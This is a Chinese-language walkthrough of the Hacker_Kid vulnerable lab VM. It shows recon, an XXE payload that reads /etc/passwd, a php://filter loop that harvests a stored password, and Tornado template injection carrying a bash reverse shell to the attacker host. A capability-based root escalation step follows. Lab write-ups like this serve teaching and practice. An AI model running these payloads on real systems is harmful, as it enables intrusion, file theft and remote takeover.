靶机练习: Hacker_Kid-v1.0.1

靶机: Hacker_Kid-v1.0.1

准备工作

靶机攻略

发现目标

使用常规工具:

  • arp-scan
  • nmap
  • netdiscover
  • fping

初步扫描 sudo arp-scan -l -I eth1 发现目标 192.168.56.118

┌──(kali㉿kali)-[~] └─$ sudo arp-scan -l -I eth1   [sudo] kali 的密码: Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116 Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered) 192.168.56.100  08:00:27:5c:43:96       PCS Systemtechnik GmbH 192.168.56.118  08:00:27:04:87:5a       PCS Systemtechnik GmbH  3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.8: 256 hosts scanned in 2.154 seconds (118.85 hosts/sec). 3 responded 

使用 nmap 进行端口扫描 nmap -A -T4 192.168.56.118 发现三个 tcp 端口开发

┌──(kali㉿kali)-[~] └─$ nmap -A -T4 192.168.56.118 Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 11:32 CST Nmap scan report for 192.168.56.118 Host is up (0.0012s latency). Not shown: 997 closed tcp ports (conn-refused) PORT     STATE SERVICE VERSION 53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux) | dns-nsid:  |_  bind.version: 9.16.1-Ubuntu 80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Notorious Kid : A Hacker  |_http-server-header: Apache/2.4.41 (Ubuntu) 9999/tcp open  http    Tornado httpd 6.1 |_http-server-header: TornadoServer/6.1 | http-title: Please Log In |_Requested resource was /login?next=%2F Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds 
  • 53 是 DNS 服务使用 ISC BIND 9.16.1 (Ubuntu Linux)

    • 用于 DNS 的服务,对于 BIND 9 的官方资料 https://www.isc.org/bind/
    • 相关漏洞 CVE-2020-8625CVE-2021-25216
  • 80 是 http 服务使用 Apache httpd 2.4.41 ((Ubuntu))

    • http-title: Notorious Kid : A Hacker 看 Notorious Kid : A Hacker 对于初步信息收集应该从此处开始
  • 9999 也是 http 服务,但使用的是 Tornado httpd 6.1

    • 并且 http-title 以及 _Requested resource was /login?next=%2F 表明与登录有关

收集信息

我们使用 firefox 先访问 http://192.168.56.118:80/ 发现此页面中是一个提示信息,一个黑客攻陷了此网站,并留了一个后面让我们使用 dig 但我们需要更多信息,进一步使用 Ctrl + U 查看源码

<!--  <div class="container py-5">   <h1>Thanks</h1>   TO DO: Use a GET parameter page_no  to view pages. -->     <!-- Optional JavaScript -->     <!-- jQuery first, then Popper.js, then Bootstrap JS --> 
  • 在源码的一段注释信息中说此页面存在一个 GET 参数 page_no
  • page_no 翻译 page 页面,在开发中 no 一般指数字

我们随意尝试请求一下 http://192.168.56.118/?page_no=0 查看页面与原本的有什么区别

┌──(kali㉿kali)-[~] └─$ comm -3 <(curl "http://192.168.56.118/" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null        1 ⨯  <font color="red"> </center>   <!--  <div class="container py-5">   <h1>Thanks</h1>          Oh Man !! Isn't is right to go a little deep inside?         <font color="red">         </center>           <!--          <div class="container py-5">           <h1>Thanks</h1>              
  • 发现在 http://192.168.56.118/?page_no=0 页面下方多了一段红色提示 "Oh Man !! Isn't is right to go a little deep inside?"

  • 不同之处可以在访问浏览器中发现,也可以通过 curl 请求回返的源码通过 comm 进行比较发现不同的地方

    • 对比命令中的不同是使用 Process Substitution 将 curl 输出做为 comm 输入类似管道 | 的使用

    • 2>/dev/null 作用是将 标准错误 重定向到 /dev/null 文件

      • /dev/null 是一个特殊的文件,写入到它的内容都会被丢弃,可以理解为垃圾桶
  • 对于提示 "Oh Man !! Isn't is right to go a little deep inside?" 表示 我们的猜测大体正确,但参数的值不够准确,在换值 page_no=1 发现结果是一样的 comm -3 <(curl "http://192.168.56.118/?page_no=1" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null

对此我们编写一个爆破脚本 loop.sh 并执行 bash loop.sh 下面是脚本内容,在 0~50 进行爆破比对返回内容有异常的数值

i=0 while(( $i<=50 )) do     j=$((i+1))     str=`comm -3          <(curl -i "http://192.168.56.118/?page_no=$i" 2>/dev/null)          <(curl -i "http://192.168.56.118/?page_no=$j" 2>/dev/null)          2>/dev/null`     if ((${#str} > 0))     then         echo $j         break     fi     let "i++" done 
  • 爆破结果,值为21

    ┌──(kali㉿kali)-[~/workspace] └─$ bash loop.sh  21 

我们访问 http://192.168.56.118/?page_no=21

Okay so you want me to speak something ? I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!! Out of my many homes...one such home..one such home for me : hackers.blackhat.local 
  • 发现在页面最下面有这样一段红色提示,如果瞎可以使用 comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null 看源码区别

    ┌──(kali㉿kali)-[~/workspace] └─$ comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null Oh Man !! Isn't is right to go a little deep inside? <font color="red"> </center>  <!--  <div class="container py-5"> <h1>Thanks</h1>          Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br>Out of my many homes...one such home..one such home for me : hackers.blackhat.local<br>         <font color="red">         </center>           <!--          <div class="container py-5">         <h1>Thanks</h1> 
  • 提示的大体意思是,他留下了一个关于域名的后门,并给出了一个 hackers.blackhat.local 的域名

扩充知识中:服务器虚拟主机原理

  • 服务器虚拟主机是指使用一台物理机器,充当多个主机名的 WEB 服务器
  • 使用虚拟主机的好处在于,一些小规模的网站,通过跟其他网站共享同一台物理机器,可以减少系统的运行成本,并且可以减少管理的难度
  • 虚拟主机的两种工作方式
    • 基于IP地址的虚拟主机方式
    • 基于主机名的虚拟主机方式

我们可以尝试篡改发送请求的请求头中的 Host 进行欺骗,上面提示有一个 hackers.blackhat.local 的域名,对于目前 IP 是固定的,说明目标使用了服务器虚拟主机管理多个 WEB 网站应用,我们使用 curl -H 'Host: hackerkid.blackhat.local' "http://192.168.56.118" 测试一番

┌──(kali㉿kali)-[~/workspace] └─$ curl -H 'Host: hackerkid.blackhat.local' http://192.168.56.118                                                               130 ⨯ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Register Today</title> <script type="text/javascript" src="js/jquery.min.js"></script> <script type="text/javascript"> function XMLFunction(){     var xml = '' +         '<?xml version="1.0" encoding="UTF-8"?>' +         '<root>' +         '<name>' + $('#name').val() + '</name>' +         '<tel>' + $('#tel').val() + '</tel>' +         '<email>' + $('#email').val() + '</email>' +         '<password>' + $('#password').val() + '</password>' +         '</root>';     var xmlhttp = new XMLHttpRequest();     xmlhttp.onreadystatechange = function () {         if(xmlhttp.readyState == 4){             console.log(xmlhttp.readyState);             console.log(xmlhttp.responseText);             document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;          }     }     xmlhttp.open("POST","process.php",true);     xmlhttp.send(xml); }; </script>  <style> body {   background-image: url('back2.jpg');  background-repeat: no-repeat;   background-attachment: fixed;   background-size: cover; } </style>  <style> body {   color: green; } </style> </head> <body> <center>      <div id="registration">         <h2>Create Account</h2>         <div id="RegisterUserForm">             <fieldset>                 <p>                 <label for="name">Name</label>                 <input id="name" name="name" type="text" class="text"                 value="" />                 </p>                  <p>                 <label for="tel">Phone Number</label>                 <input id="tel" name="tel" type="tel" class="text" value=""                 />                 </p>                  <p>                 <label for="email">Email</label>                 <input id="email" name="email" type="email" class="text"                 value="" />                 </p>                  <p>                 <label for="password">Password</label>                 <input id="password" name="password" class="text"                 type="password" />                              <button id="registerNew"                     onclick="XMLFunction()">Register</button>                 </p>             </fieldset>         </div>     </div>     <div id="errorMessage" color="red">     </div> </center> </body> </html> 
  • 发现有不一样的内容比较,如果不喜欢源码阅读的可以通过下面方式看看 页面渲染后大体内容 【最后还是要读源码】

    • 部分拦截工具,拦截后篡改 Host 在浏览器上查看

      • BurpSuite
      • Mitmproxy 推荐
    • 也可将 curl 内容请求保存在本地上查看,最简单

    • 或者使用内核为 chromium 的浏览器使用 --host-resolver-rules 参数在命令行打开实例访问

      • --host-resolver-rules="MAP hackers.blackhat.local 192.168.56.118"
    • 改 hosts 文件,将域名与 IP 绑定

  • 从代码中可以看出 关键部分(请求相关的) 内容

    <fieldset>     <p>     <label for="name">Name</label>     <input id="name" name="name" type="text" class="text"     value="" />     </p>      <p>     <label for="tel">Phone Number</label>     <input id="tel" name="tel" type="tel" class="text" value=""     />     </p>      <p>     <label for="email">Email</label>     <input id="email" name="email" type="email" class="text"     value="" />     </p>      <p>     <label for="password">Password</label>     <input id="password" name="password" class="text"     type="password" />      <button id="registerNew"         onclick="XMLFunction()">Register</button>     </p> </fieldset> 
  • 请求是使用 JavaScript 进行处理的,并且请求数据是封装成 xml 进行数据交互

    function XMLFunction(){     var xml = '' +         '<?xml version="1.0" encoding="UTF-8"?>' +         '<root>' +         '<name>' + $('#name').val() + '</name>' +         '<tel>' + $('#tel').val() + '</tel>' +         '<email>' + $('#email').val() + '</email>' +         '<password>' + $('#password').val() + '</password>' +         '</root>';     var xmlhttp = new XMLHttpRequest();     xmlhttp.onreadystatechange = function () {         if(xmlhttp.readyState == 4){             console.log(xmlhttp.readyState);             console.log(xmlhttp.responseText);             document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;          }     }     xmlhttp.open("POST","process.php",true);     xmlhttp.send(xml); }; 
  • xmlhttp.open("POST","process.php",true); 这一段是说明两点

    • 请求方式 Post
    • 最终会有 process.php 对 xml 数据进行处理,说明后台是使用 PHP 进行处理
  • Post 请求数据的 xml 结构

<?xml version="1.0" encoding="UTF-8"?> <root>     <name></name>     <tel></tel>     <email></email>     <password></password> </root> 

我们可以尝试进行数据请求,使用如下命令,此命令本质是一行但为了便于各位理解进行了调整

echo ' <?xml version="1.0" encoding="UTF-8"?> <root>   <name>1</name>   <tel>1</tel>   <email>xxx@xxx.com</email>   <password>1</password> </root>'  | curl http://192.168.56.118/process.php  -H 'Host: hackerkid.blackhat.local'  -d @- 
  • 作用是向 http://192.168.56.118/process.php 发起请求,只有使用 -d 参数就是默认 POST 请求
  • -d 后面是跟请求数据,此处是使用 @ 后面应该跟文件,但通过 echo 输出 xml 的内容用管道输向 -
  • - 指定 echo 输出的内容

使用效果

┌──(kali㉿kali)-[~/workspace] └─$ echo ' <?xml version="1.0" encoding="UTF-8"?> <root>   <name>1</name>   <tel>1</tel>   <email>xxx@xxx.com</email>   <password>1</password> </root>'  | curl http://192.168.56.118/process.php  -H 'Host: hackerkid.blackhat.local'  -d @- Sorry, xxx@xxx.com is not available !!!  
  • 返回的内容是 Sorry, xxx@xxx.com is not available !!! 其中 xxx@xxx.com 经过多次尝试此处是动态回返的
  • 对此我们可以尝试使用 xml 的相关漏洞
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]> <root>     <name>1</name>     <tel>1</tel>     <email>&k;</email>     <password>1</password> </root> 
  • 如果 <!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]> 看不懂,可以去查关于 DTD 的内容
  • 在 xml 中包含 DTD 需要使用 DOCTYPE 声明,这个应该好理解,其中 drug 是声明的 XML 文档构建模块 名称可以随意
  • ENTITY 是进行一个外部实体声明,其中 k 只是一个名称,使用 SYSTEM 引入外部资源,所以 k 现在代表 file:///etc/passwd
  • 其中 email 标签内容是 k 以此通过请求返回看到系统内部信息

利用 xml 的相关漏洞

┌──(kali㉿kali)-[~] └─$ echo ' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE drug [<!ENTITY k SYSTEM "file:///etc/passwd">]> <root>     <name>1</name>     <tel>1</tel>     <email>&k;</email>     <password>1</password> </root>'  | curl http://192.168.56.118/process.php  -H 'Host: hackerkid.blackhat.local'  -d @- Sorry, root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:117:123::/var/lib/saned:/usr/sbin/nologin nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false whoopsie:x:120:125::/nonexistent:/bin/false colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin bind:x:126:133::/var/cache/bind:/usr/sbin/nologin  is not available !!!                                                                                             
  • 雀实存在漏洞,借此获取了 /etc/passwd 的内容

    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:117:123::/var/lib/saned:/usr/sbin/nologin nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false whoopsie:x:120:125::/nonexistent:/bin/false colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin bind:x:126:133::/var/cache/bind:/usr/sbin/nologin 
    • 发现一个用户 saket

我们使用脚本进行爆破,查看在隐秘文件中 是否存在账号密码相关的内容 全部看太多,重点依次排查

echo '' > ./test; for i in $(cat ./file.txt) do str=`echo ' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]> <root>     <name>1</name>     <tel>1</tel>     <email>&k;</email>     <password>1</password> </root>'  | curl http://192.168.56.118/process.php  -H 'Host: hackerkid.blackhat.local'  -d @- 2>/dev/null`;      if ((${#${str: 7:((${#str}-28))}}!=0)); then         echo 'n#'$i'###:' >> ./test;         echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;     fi done grep -E "(username|root|saket|admin|password|passwd)" ./test; 
  • 读取改用 PHP 的 php://filter 元封装器可以绕过部分系统过滤
  • ./test 是存储经过 grep 过滤的文件,其中 grep -E "(username|root|saket|admin|password|passwd)" 只筛选与 username, root, saket, admin, password, passwd 关键词有关的内容,最后的 grep 会将 ./test 内容做一次完整输出
  • ./test 中存在目录,但下方为空的是被过滤导致的,如果账号密码没有线索需要对其中空的目录重点排查
  • 字典 ./file.txt 内容地址 https://www.cnblogs.com/shadow-/p/16904855.html 这些一般容易都是有漏洞的地方,如果链接失效可以在当前博客的 dict 标签中找到 “爆破字典:linux 敏感文件-01”

结果:

┌──(kali㉿kali)-[~/workspace] └─$ echo '' > ./test; for i in $(cat ./file.txt) do str=`echo ' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]> <root>     <name>1</name>     <tel>1</tel>     <email>&k;</email>     <password>1</password> </root>'  | curl http://192.168.56.118/process.php  -H 'Host: hackerkid.blackhat.local'  -d @- 2>/dev/null`;      if ((${#${str: 7:((${#str}-28))}}!=0)); then         echo 'n#'$i'###:' >> ./test;         echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;     fi done grep -E "(username|root|saket|admin|password|passwd)" ./test; ------------------------------------------------------------------------------ HOME=/root LOGNAME=root # and files in /etc/cron.d. These files also have username fields, 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly 25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # It has been reported that passwords should be enclosed with ticks/quotes # It has been reported that passwords should be enclosed with ticks/quotes #/etc/passwd###: root:x:0:0:root:/root:/bin/bash gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash #/home/saket/.bashrc###: # set variable identifying the chroot you work in (used in the prompt below) if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then     debian_chroot=$(cat /etc/debian_chroot)     PS1='${debian_chroot:+($debian_chroot)}[33[01;32m]u@h[33[00m]:[33[01;34m]w[33[00m]$ '     PS1='${debian_chroot:+($debian_chroot)}u@h:w$ '     PS1="[e]0;${debian_chroot:+($debian_chroot)}u@h: wa]$PS1" username="admin" password="Saket!#$%@!!" #/home/saket/.profile###:                         
  • 看来发现不简单,重点是 /home/saket/.bashrc 的内容,其他的【看 ./test 】都是默认内容【当然返回为空的不确定,为空的是备用信息源】

    • username="admin"
    • password="Saket!#$%@!!"
  • 分析账号不是 ssh 的用户,排除 ssh 登录,回想目前存在登录的地方

    • 记着前面的 nmap 扫描时的 9999 端口吗?扫描结果是与登录有关

其他的内容,可以查看 ./test 的内容

/etc/anacrontab###:  HOME=/root  LOGNAME=root   #/etc/crontab###:  # and files in /etc/cron.d. These files also have username fields,  17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly  25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )  47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )  52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )   #/etc/fstab###:   #/etc/host.conf###:   #/etc/ld.so.conf###:   #/etc/mysql/my.cnf###:  # It has been reported that passwords should be enclosed with ticks/quotes   #/etc/mysql/my.cnf###:  # It has been reported that passwords should be enclosed with ticks/quotes   #/etc/networks###:   #/etc/passwd###:  root:x:0:0:root:/root:/bin/bash  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin  saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash   #/etc/resolv.conf###:   #/etc/ssh/ssh_config###:   #/home/saket/.bashrc###:  # set variable identifying the chroot you work in (used in the prompt below)  if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then      debian_chroot=$(cat /etc/debian_chroot)      PS1='${debian_chroot:+($debian_chroot)}[33[01;32m]u@h[33[00m]:[33[01;34m]w[33[00m]$ '      PS1='${debian_chroot:+($debian_chroot)}u@h:w$ '      PS1="[e]0;${debian_chroot:+($debian_chroot)}u@h: wa]$PS1"  username="admin"  password="Saket!#$%@!!"   #/home/saket/.profile###: 

尝试访问 http://192.168.56.118:9999/ 使用密码账号尝试

  • 尝试结果 username 是 saket
  • 尝试结果 password 是 Saket!#$%@!!

登录后的,页面源码

<br>  <body bgcolor='black'>     <center>         <font color='green'> Tell me your name buddy<br><br><br>How can i get to know who are you ??</font>         <br><br><br><br>         <center>             <p>                 <font color='red'><a href='/logout'>logout</a></font> </body> 
  • 当前页面应该是存在一个 GET 参数 name

随意请求一番,后的源码

<html>  <head><title>   Hello 1 </title></head> <body bgcolor='black'> <center> <font color='red'> <br> <br> Hello 1 </font> <center> <br> <br><br><br><br><center> <a href="/logout">logout</a> </center> </body> </html> 
  • 反复测试后,发现是将请求值嵌入 Hello 后面

  • 还记着 9999 端口使用的是 Tornado httpd 6.1

    • Tornado 是使用 Python 开发的全栈式 Web 框架
    • 对于 Web 框架熟悉的应该能理解 请求值是如何嵌入 Hello 后面的,不了解可以查看 Web 的 标签模板语言 相关内容

利用标签模板语言攻击

Traceback (most recent call last):   File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 1702, in _execute     result = method(*self.path_args, **self.path_kwargs)   File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 3173, in wrapper     return method(self, *args, **kwargs)   File "/opt/server.py", line 43, in get     t = tornado.template.Template(template_data)   File "/usr/local/lib/python3.8/dist-packages/tornado/template.py", line 326, in __init__     self.compiled = compile(   File "<string>.generated.py", line 11     _tt_tmp = 1 abcdefjg  # <string>:10                 ^ SyntaxError: invalid syntax  
  • 下面是报错,说明存在漏洞

  • 通用攻击语句 {{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg] 其中 abcdefjg 随意,目的让它报错,尽量不要让它正常通过

    • http://192.168.56.118:9999/?name={{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg]

探测使用的标签类型【其实知道是 Tornado 就已经确定】,使用 {{1*1}},${1*1},<%1*1%>,[1*1] 看那一段能正常运算

<html>  <head><title>   Hello {{1*1}},${1*1},&lt;%1*1%&gt;,[1*1] </title></head> <body bgcolor='black'> <center> <font color='red'> <br> <br> Hello 1,${1*1},<%1*1%>,[1*1] </font> <center> <br> <br><br><br><br><center> <a href="/logout">logout</a> </center> </body> </html> 
  • 明显是使用 {{}}

因为 Tornado 使用 Python 开发构建,构建语句 {% import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.116/4444 0>&1"')}} 如何进行转码绕过过滤 %7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.116%2F4444%200%3E%261%22%27)%7D%7D 编码网站:站长之家

┌──(kali㉿kali)-[~/workspace] └─$ nc -nvlp 4444  listening on [any] 4444 ... connect to [192.168.56.116] from (UNKNOWN) [192.168.56.118] 42872 bash: cannot set terminal process group (673): Inappropriate ioctl for device bash: no job control in this shell saket@ubuntu:~$  

账号提权

本次提权需要 Capabilities 的知识

查看漏洞可能存在的权限漏洞使用 /sbin/getcap -r / 2>/dev/null

saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null /sbin/getcap -r / 2>/dev/null                                                                                                        /usr/bin/python2.7 = cap_sys_ptrace+ep                                                                                               /usr/bin/traceroute6.iputils = cap_net_raw+ep                                                                                        /usr/bin/ping = cap_net_raw+ep                                                                                                       /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep                                                                                      /usr/bin/mtr-packet = cap_net_raw+ep                                                                                                 /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep                          
  • 其中 /usr/bin/python2.7 权限设置是有问题的
  • 使用 ps -aef | grep '/usr/sbin/apache2 -k start' 查看与进程 /usr/sbin/apache2 -k start 相关的进程号,选和 root 相关的
saket@ubuntu:/tmp$ ps -aef | grep '/usr/sbin/apache2 -k start' ps -aef | grep '/usr/sbin/apache2 -k start' root         888       1  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start www-data     889     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start www-data     901     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start www-data     903     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start www-data     904     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start www-data     905     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start www-data     906     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start www-data    1352     888  0 05:40 ?        00:00:00 /usr/sbin/apache2 -k start saket       1439    1361  0 05:53 ?        00:00:00 grep --color=auto /usr/sbin/apache2 -k start 

使用漏洞攻击 python2.7 inject.py 888

